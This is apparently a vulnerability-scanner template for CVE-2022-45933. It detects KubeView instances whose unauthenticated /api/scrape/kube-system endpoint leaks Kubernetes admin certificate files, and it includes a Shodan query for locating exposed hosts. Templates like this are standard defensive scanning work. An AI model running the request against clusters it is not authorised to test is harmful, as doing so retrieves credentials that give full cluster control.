id: CVE-2022-45933

info:
  name: KubeView <=0.1.31 - Information Disclosure
  author: For3stCo1d
  severity: critical
  description: |
    KubeView through 0.1.31 is susceptible to information disclosure. An attacker can obtain control of a Kubernetes cluster because api/scrape/kube-system does not require authentication and retrieves certificate files that can be used for authentication as kube-admin. An attacker can thereby possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Upgrade KubeView to a version higher than 0.1.31 to mitigate the information disclosure vulnerability (CVE-2022-45933).
  reference:
    - https://github.com/benc-uk/kubeview/issues/95
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-45933
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45933
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-45933
    cwe-id: CWE-306
    epss-score: 0.00753
    epss-percentile: 0.78943
    cpe: cpe:2.3:a:kubeview_project:kubeview:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: kubeview_project
    product: kubeview
    shodan-query: http.title:"KubeView"
  tags: cve,cve2022,kubeview,kubernetes,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/scrape/kube-system"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'BEGIN CERTIFICATE'
          - 'END CERTIFICATE'
          - 'kubernetes.io'
        condition: and

      - type: status
        status:
          - 200
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